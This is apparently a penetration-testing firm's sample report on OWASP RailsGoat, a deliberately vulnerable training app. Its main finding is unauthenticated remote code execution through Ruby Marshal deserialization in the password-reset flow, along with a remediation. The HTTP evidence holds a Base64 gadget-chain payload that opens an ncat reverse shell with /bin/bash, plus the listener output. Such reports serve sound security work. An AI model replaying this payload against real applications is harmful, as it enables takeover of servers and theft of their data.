Sample report

What the report you receive looks like.

A report excerpt based on an assessment of OWASP RailsGoat, an intentionally vulnerable application. It shows the structure, the severity scale and one Remote Code Execution finding in full: the same format you receive after a real engagement, without using client data.

A document your engineering team can work from.

Each finding is written to be reproduced, understood and fixed by your engineers.

Executive summary

The overall posture, the most significant risks and what to address before release, on a page that management can read.

Findings with evidence

Affected component, attack preconditions, numbered reproduction steps and excerpts from requests and responses.

Impact and severity

The data and actions exposed, the roles and tenants involved, realistic abuse conditions and a severity tied to the observed behaviour.

Remediation and retest

A practical correction path, related patterns worth checking elsewhere and a clear retest status once the fix is available.

RailsGoat vulnerabilities, by category.

Theoretical overview of the 13 RailsGoat vulnerabilities, grouped by technical category and estimated severity.

Demonstration environment. RailsGoat is an intentionally vulnerable open-source application created by OWASP for training. The finding below is based on its publicly documented Remote Code Execution vulnerability; no real client or production system is shown.

Sample page

Vulnerability Overview

The technical inventory contains 13 vulnerabilities, with a theoretical severity estimate:

1Critical
4High
6Medium
2Low
0Info
01234Injection3Authentication2Access control2Sensitive data2CSRF1Mass assignment1Unvalidated redirect1Remote Code Execution1
Figure 1 - RailsGoat vulnerabilities by category

The view your leadership gets.

The report opens with a summary for decision-makers: posture, the counts, and the risks that matter most, before any technical detail.

Sample page

1 Executive summary

Overall Security PostureCritical exposure

This label is the report-level assessment of the environment, considering the severity, exploitability and impact of the observed risks.

The overall security posture of RailsGoat is Critical exposure. The assessment identified a weakness in password recovery that may enable remote code execution and a full compromise of the service, data and secrets accessible to the application. This issue should be resolved before any production release.

Other vulnerable areas increase the risk of account compromise and the impact of operational access. The priority is to reduce service exposure, correct password recovery and confirm closure through a retest.

Primary Risk

  • Loss of application control. The attack can interrupt service, expose data and secrets, and amplify the impact of other weaknesses in the environment.

1.1 Priority actions

01Contain exposure. Keep RailsGoat isolated and rotate credentials that may be accessible to the application.
02Correct password recovery. Implement a reset flow that cannot be manipulated by the user and complete verification before release.
03Confirm closure. Repeat security checks and obtain an independent retest with a positive result.

Excerpt scope: the password-recovery function in OWASP RailsGoat.

How a finding reads.

Cause, evidence, impact, severity assessment and remediation: the complete finding validated against RailsGoat.

Sample page

RG-WEB-01

Remote Code Execution through unsafe Ruby deserialization

9.8Critical
Remediation effortMedium
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-502 · Deserialization of Untrusted Data
OWASPA08:2021 – Software and Data Integrity Failures
Affected components
  • POST /password_resets
  • GET /password_resets/new

Overview

The password-reset flow accepts a client-supplied user parameter, decodes it from Base64 and passes it directly to Marshal.load. Because Ruby Marshal can reconstruct arbitrary object graphs, a remote attacker can submit a crafted object and execute commands with the privileges of the Rails process.

Attack preconditions

Network-reachable endpoint; no authentication required. The attacker only needs a valid reset-flow request and can replace the serialized field before submission.

Details

Attack path validated in the isolated RailsGoat environment:

Affected code app/controllers/password_resets_controller.rb:6; app/views/password_resets/reset_password.html.erb:12

  1. The reset form serializes the user object with Marshal.dump, Base64-encodes it and places it in the hidden user field, sending an object trusted by the server to the browser.
  2. A POST /password_resets request allows the user field to be replaced with attacker-controlled Marshal data.
  3. The controller calls Marshal.load(Base64.decode64(params[:user])) without integrity validation or restrictions on deserializable types.
  4. A gadget chain using ERB and ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy executed a non-destructive proof command on the server, confirming control of the application process.

HTTP evidence

Request
POST /password_resets HTTP/1.1
Host: localhost:3000
Content-Type: application/x-www-form-urlencoded
Content-Length: 351

user=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQg6DkBpbnN0YW5jZW86CEVSQgg6CUBzcmNJIi9gbmNhdCAxMjcuMC4wLjEgMTIzNCAtdiAtZSAvYmluL2Jhc2ggMj4mMWAGOgZFVDoOQGZpbGVuYW1lSSIGMQY7CVQ6DEBsaW5lbm9pBjoMQG1ldGhvZDoLcmVzdWx0OhBAZGVwcmVjYXRvcm86GEJ1bmRsZXI6OlVJOjpTaWxlbnQGOg5Ad2FybmluZ3NbAA==&password=x&confirm_password=x
Response
HTTP/1.1 302 Found
Location: /login

$ ncat -lvp 1234 -k
Connection from 127.0.0.1.
whoami
perspican
RG-WEB-01Technical assessment

An unauthenticated attacker can execute commands in the context of the Rails application. This may allow them to read or alter application data and secrets, tamper with the service, reach resources available to the process and interrupt the application. Impact beyond the container or host depends on the deployment privileges and network segmentation.

Business impact

Compromise of the application process can interrupt service, expose user data and require credential rotation, forensic investigation and stakeholder communications. For an exposed asset, the operational risk is incompatible with release.

Assessment

The issue is remotely reachable, requires no authentication or victim interaction and has low operational complexity once the payload is constructed. Code execution fully compromises confidentiality, integrity and availability in the Rails process context. The assessment considers application-process privileges and does not assume additional host privileges.

Recommendation

Remove deserialization from the reset flow and replace it with a server-generated opaque token. The controller should create a random token, store only its digest with the user and expiry, and send the browser only the opaque value. On confirmation, look up the token server-side, enforce expiry and integrity, consume it atomically, and reject missing or reused values. Update the form so it no longer serializes the user object. Add regression tests for arbitrary Marshal payloads, expired tokens, token reuse and token/user mismatches.

# app/controllers/password_resets_controller.rb:6
# remove: user = Marshal.load(Base64.decode64(params[:user]))
token = SecureRandom.urlsafe_base64(32)
PasswordResetToken.issue!(user: user, token_digest: Digest::SHA256.hexdigest(token), expires_at: 15.minutes.from_now)
redirect_to reset_password_path(token: token)

# app/views/password_resets/reset_password.html.erb:12
# submit only the opaque token; never Marshal.dump the user object

# confirmation endpoint
reset = PasswordResetToken.consume!(params[:token])
return head :unprocessable_entity unless reset
# set the new password only after consume! succeeds

Retest result

Not tested

The vulnerability was reproduced in the RailsGoat assessment environment. Retest has not been performed.

Let’s define the penetration test.

Tell me which assets, environments and dates need to be included.